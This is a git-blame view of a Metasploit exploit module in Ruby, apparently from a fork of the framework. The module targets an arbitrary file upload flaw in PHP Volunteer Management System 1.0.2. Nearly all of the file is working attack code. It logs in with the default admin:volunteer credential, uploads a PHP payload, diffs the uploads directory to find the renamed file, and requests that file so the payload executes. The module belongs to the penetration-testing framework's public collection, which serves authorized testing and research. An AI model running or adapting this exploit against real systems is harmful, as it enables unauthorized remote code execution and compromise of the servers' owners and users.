Files
metasploit-gs/modules/exploits/multi/http/php_volunteer_upload_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

257 lines
7.8 KiB
Ruby
Raw Normal View History

2012-05-30 10:38:45 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-05-30 10:38:45 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-05-30 10:38:45 -05:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2012-05-30 10:38:45 -05:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
2012-05-30 10:38:45 -05:00
def initialize(info={})
super(update_info(info,
'Name' => "PHP Volunteer Management System v1.0.2 Arbitrary File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in PHP Volunteer Management System,
version v1.0.2 or prior. This application has an upload feature that allows an
authenticated user to upload anything to the 'uploads' directory, which is actually
reachable by anyone without a credential. An attacker can easily abuse this upload
functionality first by logging in with the default credential (admin:volunteer),
upload a malicious payload, and then execute it by sending another GET request.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ashoo <ashoo.online[at]gmail.com>',
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '82391'],
2012-05-31 08:49:58 -05:00
['EDB', '18941'],
2012-05-30 10:38:45 -05:00
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
2015-09-01 10:43:45 +02:00
'EXITFUNC' => 'thread'
2012-05-30 10:38:45 -05:00
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['PHP Volunteer Management 1.0.2', {}]
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2012-05-28',
2012-05-30 10:38:45 -05:00
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
2012-05-30 10:38:45 -05:00
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the web application', '/bf102/']),
OptString.new('USERNAME', [true, 'The username to login', 'admin']),
OptString.new('PASSWORD', [true, 'The password to login', 'volunteer'])
])
2012-05-30 10:38:45 -05:00
end
2013-08-30 16:28:54 -05:00
2012-05-30 10:38:45 -05:00
#
# Login to the web application.
# When you send the very first request to the app, you're assigned with a cookie called
# 'PHPVolunteerManagent'. This is something you must keep, because after authentication,
# that same cookie becomes your auth token.
#
def login(base, username, password)
# Get cookie: PHPVolunteerManagent
res = send_request_raw({
'method' => 'GET',
'uri' => "#{base}index.php"
})
2013-08-30 16:28:54 -05:00
2012-05-30 10:38:45 -05:00
# If we don't get a cookie, bail!
2014-05-13 22:56:12 +02:00
if res and res.get_cookies =~ /(PHPVolunteerManagent=\w+);*/
2012-05-30 10:38:45 -05:00
cookie = $1
2016-02-01 15:12:03 -06:00
vprint_status("Found cookie: #{cookie}")
2012-05-30 10:38:45 -05:00
else
return nil
end
2013-08-30 16:28:54 -05:00
2012-05-30 10:38:45 -05:00
# Find the location for login
login_location = res.headers['Location'] || '?p=login'
2013-08-30 16:28:54 -05:00
2012-05-30 10:38:45 -05:00
# And then login!
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}index.php#{login_location}",
'cookie' => cookie,
'vars_post' => {
'volunteer_email' => username,
'volunteer_password' => password,
'submit' => 'Login!'
}
})
2013-08-30 16:28:54 -05:00
2012-05-30 10:38:45 -05:00
# If the app wants to redirect us to the dashboard, we
# assume the login was successful
if res and res.headers['Location'] =~ /\?p\=dashboard/
return cookie
else
return nil
end
end
2013-08-30 16:28:54 -05:00
2012-05-30 10:38:45 -05:00
#
# Upload the payload as a personal document.
# This will save the file in: mods/documents/uploads/
# And then we return the HTTP response, which should contain some message indicating
# whether we successfully uploaded the file, or not.
#
def upload(base, cookie, fname, file, description)
boundary = "----WebKitFormBoundary#{rand_text_alpha(10)}"
2013-08-30 16:28:54 -05:00
2012-05-30 10:38:45 -05:00
endpoint = "#{rhost}"
endpoint << ":#{rport}" if rport.to_i != 80
2013-08-30 16:28:54 -05:00
2012-05-30 10:38:45 -05:00
data_post = "--#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"file\"; filename=\"#{fname}\"\r\n"
data_post << "Content-Type: text/php\r\n"
data_post << "\r\n"
data_post << file
data_post << "\r\n"
data_post << "--#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"description\"\r\n"
data_post << "\r\n"
data_post << description
data_post << "\r\n"
data_post << "--#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"submit\"\r\n"
data_post << "\r\n"
data_post << "Submit"
data_post << "\r\n"
data_post << "--#{boundary}--\r\n"
2013-08-30 16:28:54 -05:00
2012-05-30 10:38:45 -05:00
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}index.php?p=upload_personal_document",
'cookie' => cookie,
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data_post,
'headers' => {
'Referer' => "http://#{endpoint}#{base}index.php?p=upload_personal_document"
}
})
2013-08-30 16:28:54 -05:00
2012-05-30 10:38:45 -05:00
return res
end
2013-08-30 16:28:54 -05:00
2012-05-30 10:38:45 -05:00
#
# Find all the new files from the 'uploads' directory.
# This trick is necessary, because when we upload a file, our filename
# is renamed to something else with a timestamp. Since we cannot reliability
# guess what the filename is going to be, we can at least compare both before/after
# snapshots to figure it out.
#
def get_my_file(before, after)
2012-06-07 16:00:59 -05:00
r = /\<td\>\<a href\=\"(\d{4}\-\d{2}\-\d{2}\_\d+\-\d+\-\d+\_\d+\.\w+)\"\>\d{4}\-\d{2}\-\d{2}\_\d+\-\d+\-\d+\_\d+\.\w+\<\/a\>\<\/td\>/
2012-05-30 10:38:45 -05:00
b = (before.scan(r) || []).flatten
a = (after.scan(r) || []).flatten
2013-08-30 16:28:54 -05:00
2012-05-30 10:38:45 -05:00
# Return all the new uploads
return a - b
end
2013-08-30 16:28:54 -05:00
2012-05-30 10:38:45 -05:00
#
# This function will return the raw HTTP response like a snapshot,
# which later can be used for comparision.
#
def peek_uploads(base, cookie)
res = send_request_raw({
'method' => 'GET',
'uri' => "#{base}mods/documents/uploads/",
'cookie' => cookie
})
2013-08-30 16:28:54 -05:00
2012-05-30 10:38:45 -05:00
return res
end
2013-08-30 16:28:54 -05:00
2012-05-30 10:38:45 -05:00
#
# The exploit function does exploity things
#
def exploit
2012-11-08 17:42:48 +01:00
base = normalize_uri(target_uri.path)
2012-05-30 10:38:45 -05:00
base << '/' if base[-1, 1] != '/'
2013-08-30 16:28:54 -05:00
2012-05-30 10:38:45 -05:00
# Login
username = datastore['USERNAME']
password = datastore['PASSWORD']
cookie = login(base, username, password)
if cookie.nil?
2016-02-01 15:12:03 -06:00
print_error("Login failed with \"#{username}:#{password}\"")
2012-05-30 10:38:45 -05:00
return
end
2013-08-30 16:28:54 -05:00
2017-07-19 12:48:52 +01:00
print_good("Login Successful (#{username}:#{password})")
2013-08-30 16:28:54 -05:00
2012-05-30 10:38:45 -05:00
# Take a snapshot of the uploads directory
# Viewing this doesn't actually require the user to login first,
# but we supply the cookie anyway to act more like a real user.
2016-02-01 15:12:03 -06:00
print_status("Enumerating all the uploads...")
2012-05-30 10:38:45 -05:00
before = peek_uploads(base, cookie)
if before.nil?
2016-02-01 15:12:03 -06:00
print_error("Unable to enumerate original uploads")
2012-05-30 10:38:45 -05:00
return
end
2013-08-30 16:28:54 -05:00
2012-05-30 10:38:45 -05:00
# Upload our PHP shell
2016-02-01 15:12:03 -06:00
print_status("Uploading PHP payload (#{payload.encoded.length.to_s} bytes)")
2012-05-30 10:38:45 -05:00
fname = rand_text_alpha(rand(10)+6) + '.php'
desc = rand_text_alpha(rand(10)+5)
php = %Q|<?php #{payload.encoded} ?>|
res = upload(base, cookie, fname, php, desc)
if res.nil? or res.body !~ /The file was successfuly uploaded/
2016-02-01 15:12:03 -06:00
print_error("Failed to upload our file")
2012-05-30 10:38:45 -05:00
return
end
2013-08-30 16:28:54 -05:00
2012-05-30 10:38:45 -05:00
# Now that we've uploaded our shell, let's take another snapshot
# of the uploads directory.
2016-02-01 15:12:03 -06:00
print_status("Enumerating new uploads...")
2012-05-30 10:38:45 -05:00
after = peek_uploads(base, cookie)
if after.nil?
2016-02-01 15:12:03 -06:00
print_error("Unable to enumerate latest uploads")
2012-05-30 10:38:45 -05:00
return
end
2013-08-30 16:28:54 -05:00
2012-05-30 10:38:45 -05:00
# Find the filename of our uploaded shell
files = get_my_file(before.body, after.body)
if files.empty?
2017-07-21 07:41:51 -07:00
print_error("No new file(s) found. The upload probably failed")
return
else
2016-02-01 15:12:03 -06:00
vprint_status("Found these new files: #{files.inspect}")
end
2013-08-30 16:28:54 -05:00
2012-05-30 10:38:45 -05:00
# There might be more than 1 new file, at least execute the first 10
# just to make sure. Don't want to try too many either.
counter = 0
files.each do |f|
counter += 1
break if counter > 10
print_status("Trying file: #{f}")
send_request_raw({
2012-05-30 10:38:45 -05:00
'method' => 'GET',
2013-01-30 23:23:41 -06:00
'uri' => normalize_uri(base, 'mods/documents/uploads/', f),
2012-05-30 10:38:45 -05:00
'cookie' => cookie
})
end
2013-08-30 16:28:54 -05:00
2012-05-30 10:38:45 -05:00
handler
end
end